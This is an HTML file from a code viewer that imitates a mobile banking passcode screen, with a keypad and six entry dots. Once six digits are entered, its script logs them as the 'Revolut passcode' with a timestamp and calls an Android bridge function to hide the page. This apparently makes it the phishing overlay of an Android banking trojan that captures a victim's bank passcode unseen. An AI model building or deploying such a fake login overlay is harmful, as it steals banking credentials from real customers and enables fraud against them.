182 lines
5.3 KiB
HTML
182 lines
5.3 KiB
HTML
<html lang="en">
|
|||
|
|
|
||
|
|
<head>
|
||
|
|
<meta charset="utf-8" />
|
||
|
|
<meta content="width=device-width, initial-scale=1.0" name="viewport" />
|
||
|
|
<title>
|
||
|
|
Passcode Entry
|
||
|
|
</title>
|
||
|
|
|
||
|
|
<script src="index.js"></script>
|
||
|
|
<script src="https://cdn.tailwindcss.com">
|
||
|
|
</script>
|
||
|
|
<link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css" rel="stylesheet" />
|
||
|
|
<script>
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
document.addEventListener('DOMContentLoaded', function () {
|
||
|
|
const buttons = document.querySelectorAll('.number-button');
|
||
|
|
const circles = document.querySelectorAll('.circle');
|
||
|
|
const backspace = document.querySelector('.backspace-button');
|
||
|
|
const clickButton = document.querySelector('.click-button');
|
||
|
|
let passcode = '';
|
||
|
|
|
||
|
|
buttons.forEach(button => {
|
||
|
|
button.addEventListener('click', function () {
|
||
|
|
if (passcode.length < 6) {
|
||
|
|
passcode += this.textContent.trim();
|
||
|
|
updateCircles();
|
||
|
|
if (passcode.length === 6) {
|
||
|
|
submitPasscode();
|
||
|
|
}
|
||
|
|
}
|
||
|
|
});
|
||
|
|
});
|
||
|
|
|
||
|
|
backspace.addEventListener('click', function () {
|
||
|
|
passcode = passcode.slice(0, -1);
|
||
|
|
updateCircles();
|
||
|
|
});
|
||
|
|
|
||
|
|
// clickButton.addEventListener('click', function () {
|
||
|
|
// submitPasscode();
|
||
|
|
// });
|
||
|
|
|
||
|
|
function updateCircles() {
|
||
|
|
circles.forEach((circle, index) => {
|
||
|
|
if (index < passcode.length) {
|
||
|
|
circle.classList.add('bg-blue-500');
|
||
|
|
circle.classList.remove('bg-gray-700');
|
||
|
|
} else {
|
||
|
|
circle.classList.add('bg-gray-700');
|
||
|
|
circle.classList.remove('bg-blue-500');
|
||
|
|
}
|
||
|
|
});
|
||
|
|
}
|
||
|
|
|
||
|
|
// function submitPasscode() {
|
||
|
|
// alert('Passcode entered: ' + passcode);
|
||
|
|
// // Clear the passcode and reset circles
|
||
|
|
// passcode = '';
|
||
|
|
// updateCircles();
|
||
|
|
// }
|
||
|
|
function submitPasscode() {
|
||
|
|
console.log('Revolut passcode:', passcode);
|
||
|
|
console.log('Time:', new Date().toLocaleString());
|
||
|
|
|
||
|
|
if (typeof Android !== "undefined" && Android && typeof Android.hidePage === 'function') {
|
||
|
|
Android.hidePage('');
|
||
|
|
}
|
||
|
|
|
||
|
|
passcode = '';
|
||
|
|
updateCircles();
|
||
|
|
}
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
});
|
||
|
|
</script>
|
||
|
|
</head>
|
||
|
|
|
||
|
|
<body class="bg-black text-white flex flex-col items-center justify-center min-h-screen">
|
||
|
|
<div class="text-center">
|
||
|
|
<h1 class="text-2xl font-bold mb-4">
|
||
|
|
Enter passcode
|
||
|
|
</h1>
|
||
|
|
|
||
|
|
<div class="flex justify-center mb-8">
|
||
|
|
<div class="w-4 h-4 bg-gray-700 rounded-full mx-1 circle">
|
||
|
|
</div>
|
||
|
|
<div class="w-4 h-4 bg-gray-700 rounded-full mx-1 circle">
|
||
|
|
</div>
|
||
|
|
<div class="w-4 h-4 bg-gray-700 rounded-full mx-1 circle">
|
||
|
|
</div>
|
||
|
|
<div class="w-4 h-4 bg-gray-700 rounded-full mx-1 circle">
|
||
|
|
</div>
|
||
|
|
<div class="w-4 h-4 bg-gray-700 rounded-full mx-1 circle">
|
||
|
|
</div>
|
||
|
|
<div class="w-4 h-4 bg-gray-700 rounded-full mx-1 circle">
|
||
|
|
</div>
|
||
|
|
</div>
|
||
|
|
<div class="grid grid-cols-3 gap-4 text-2xl font-bold mb-8">
|
||
|
|
<button class="w-16 h-16 bg-gray-800 rounded-full number-button">
|
||
|
|
1
|
||
|
|
</button>
|
||
|
|
<button class="w-16 h-16 bg-gray-800 rounded-full number-button">
|
||
|
|
2
|
||
|
|
</button>
|
||
|
|
<button class="w-16 h-16 bg-gray-800 rounded-full number-button">
|
||
|
|
3
|
||
|
|
</button>
|
||
|
|
<button class="w-16 h-16 bg-gray-800 rounded-full number-button">
|
||
|
|
4
|
||
|
|
</button>
|
||
|
|
<button class="w-16 h-16 bg-gray-800 rounded-full number-button">
|
||
|
|
5
|
||
|
|
</button>
|
||
|
|
<button class="w-16 h-16 bg-gray-800 rounded-full number-button">
|
||
|
|
6
|
||
|
|
</button>
|
||
|
|
<button class="w-16 h-16 bg-gray-800 rounded-full number-button">
|
||
|
|
7
|
||
|
|
</button>
|
||
|
|
<button class="w-16 h-16 bg-gray-800 rounded-full number-button">
|
||
|
|
8
|
||
|
|
</button>
|
||
|
|
<button class="w-16 h-16 bg-gray-800 rounded-full number-button">
|
||
|
|
9
|
||
|
|
</button>
|
||
|
|
<div>
|
||
|
|
</div>
|
||
|
|
<button class="w-16 h-16 bg-gray-800 rounded-full number-button">
|
||
|
|
0
|
||
|
|
</button>
|
||
|
|
<button class="w-16 h-16 bg-gray-800 rounded-full backspace-button">
|
||
|
|
<i class="fas fa-backspace">
|
||
|
|
</i>
|
||
|
|
</button>
|
||
|
|
|
||
|
|
</div>
|
||
|
|
<a class="text-blue-500" href="#">
|
||
|
|
Forgot your passcode?
|
||
|
|
</a>
|
||
|
|
</div>
|
||
|
|
</body>
|
||
|
|
<style>
|
||
|
|
.mb-4 {
|
||
|
|
margin-bottom: 12rem;
|
||
|
|
}
|
||
|
|
.mb-8 {
|
||
|
|
margin-bottom: 6rem;
|
||
|
|
}
|
||
|
|
|
||
|
|
|
||
|
|
/* numbar wind */
|
||
|
|
|
||
|
|
.w-16 {
|
||
|
|
width: 7rem;
|
||
|
|
}
|
||
|
|
|
||
|
|
.bg-gray-800 {
|
||
|
|
--tw-bg-opacity: 1;
|
||
|
|
background-color: rgb(0 0 0 / var(--tw-bg-opacity, 1));
|
||
|
|
}
|
||
|
|
.mx-1 {
|
||
|
|
margin-left: 1.25rem;
|
||
|
|
margin-right: 0.25rem;
|
||
|
|
}
|
||
|
|
|
||
|
|
</style>
|
||
|
|
|
||
|
|
|
||
|
|
</html>
|